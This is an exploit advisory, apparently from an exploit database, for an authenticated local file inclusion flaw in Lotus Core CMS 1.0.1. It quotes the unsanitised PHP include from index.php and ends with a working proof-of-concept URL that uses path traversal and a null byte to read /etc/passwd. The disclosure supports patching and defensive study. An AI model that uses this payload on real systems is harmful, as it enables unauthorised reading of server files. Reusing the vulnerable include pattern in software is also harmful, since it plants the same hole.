Lotus Core CMS 1.0.1 Local File Inclusion

`# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion  
# Google Dork: N/A  
# Date: 2020-01-31  
# Exploit Author: Daniel Monzón (stark0de)  
# Vendor Homepage: http://lotuscore.sourceforge.net/  
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download  
# Version: 1.0.1  
# Tested on: Windows 7 x86  
# CVE : N/A  
  
  
The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,  
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,  
it checks if the file exists and if it exists, it performs an unsanitized inclusion.  
  
-----------------------------------------------------------------------------  
  
if(!$_REQUEST['page_slug']){  
$_REQUEST['page_slug'] = 'index';  
}  
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){  
include('system/plugins/'.$_REQUEST['page_slug'].'.php');  
}else{  
include("system/plugins/error/404.php");  
}  
  
------------------------------------------------------------------------------  
  
  
The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.  
Note that you need to be authenticated to exploit this. The explotation would be like this:  
  
http://site:80/index.php?page_slug=../../../../../etc/passwd%00  
`